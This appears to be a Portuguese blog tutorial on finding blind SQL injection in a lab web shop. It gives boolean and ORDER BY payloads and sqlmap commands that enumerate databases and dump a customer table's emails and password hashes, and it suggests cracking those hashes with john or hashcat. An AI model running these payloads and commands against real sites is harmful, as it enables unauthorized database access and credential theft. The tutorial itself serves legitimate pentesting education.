A vulnerabilidade SQL Injection do tipo Blind tem como característica não apresentar nenhum erro nas tentativas de input de payloads comuns como ' OR 1-1-- ou ' AND 1=1-- Nesse artigo, eu mostro como detectar essa vulnerabilidade manualmente em aplicações web.
A lógica por detrás do Blind SQL Injection
A técnica utilizada para detectar a vulnerabilidade SQL Injection do tipo Blind em uma aplicação consiste em fazer testes com a lógica booleana. Isto é, fazer uso da "tabela verdade" durante os testes de detecção do Blind SQL.
Tabela verdade - Lógica Booleana
Operador AND
Para um resultado ser verdadeiro usando AND, as duas sentenças A e B tem que ser verdadeiras. Exemplo: 1=1 AND 1=1 Neste caso, o resulto lógico é verdadeiro.
Operador OR
Para um resultado ser verdadeiro usando OR, uma das sentenças A ou B precisa ser verdadeira. Exemplo: 1=1 OR 1=2 O resultado do teste é verdadeiro pois uma das sentenças é verdade, ou seja, 1=1
ATTACK
Na aplicação de teste, a validação da vulnerabilidade é bastante simples. Usando um teste 1=1 a aplicação retorna o produto referente ao id=1 Se o teste for falso como 2=1, a aplicação não retorna nenhum produto.
Requisição para http://172.16.1.245/produtos.php?prod=1=1 Sentença verdadeira, o produto é exibido.
Requisição para http://172.16.1.245/produtos.php?prod=1=2 Sentença falsa, o produto não é exibido.
Identificando a quantidade de colunas com ORDER BY
O número de colunas em uma tabela pode ser identificado com o ORDER BY. No exemplo, a aplicação retorna positivo para todos os resultados até a coluna 27. Quando eu incluo a coluna 28, a aplicação retorna a busca como inexistente.
Requisição para http://172.16.1.245/produtos.php?mprod=0&prod=
Payload:
1=1 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 --
Retorna um valor verdadeiro, ou seja, exibe o produto.
Requisição para http://172.16.1.245/produtos.php?mprod=0&prod=Payload: 1=1 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 --
Retorna um valor falso, isto é, não exibe o produto.
Com esse resultado, podemos supor que a tabela relacionada com os produtos do site possui 27 colunas.
A partir desse ponto, a vulnerabilidade SQL Injection do tipo Blind está confirmada e podemos usar a ferramenta automatizada SQLMap para explorar a vulnerabilidade e demonstrar o risco.
SQLMap
Identificar as bases de dados
sqlmap -u 'http://172.16.1.245/produtos.php?mprod=0&prod=1*' --dbs --random-agent
A ferramenta confirma a vulnerabilidade SQL Injection do tipo Blind. Em seguida, a ferramenta retorna o nome das bases de dados encontradas.
Coletar dados das bases de dados
sqlmap -u 'http://172.16.1.245/produtos.php?mprod=0&prod=1*' --tables -D deckstore --random-agent --threads 10
Com o parâmetro --tables é possível coletar o nome de todas as tabelas da base de dados deckstore.
Durante um pentest ou ataque real, o principal objetivo é a coleta de credencias válidas. Depois de coletar o nome das tabelas, o passo seguinte é acessar os dados e buscar por credenciais válidas. Na lista acima as tabelas clientes e usuários são interessantes para buscar por credenciais.
sqlmap -u "http://172.16.1.245/produtos.php?mprod=0&prod=1*" --columns -D deckstore -T clientes --threads 10 --dump
Com o parâmetro dump os dados da tabela clientes são exportados para um arquivo .csv
Na figura acima é possível ver as credenciais coletadas na coluna nome, email e senha. Durante a execução do SQLMap, a ferramenta tentou quebrar o hash das senhas mas não teve sucesso. A wordlist utilizada foi padrão da ferramenta localizada em /usr/share/sqlmap/data/txt/wordlist.txt
No entanto, durante um ataque ou pentest, após a coleta do hash de senha, é possível usar ferramentas como john ou hascat para executar a quebra do hash com uso de outra wordlist como rockyou.txt
Nesse artigo, mostrei um teste simples para descobrir a vulnerabilidade SQL Injection do tipo Blind usando a lógica booleana e, após confirmar a vulnerabilidade, o uso do SQLMap permite explorar a falha e coletar credenciais armazenadas na base de dados.
Referência:
https://owasp.org/www-community/attacks/Blind_SQL_Injection
Comentários
Postar um comentário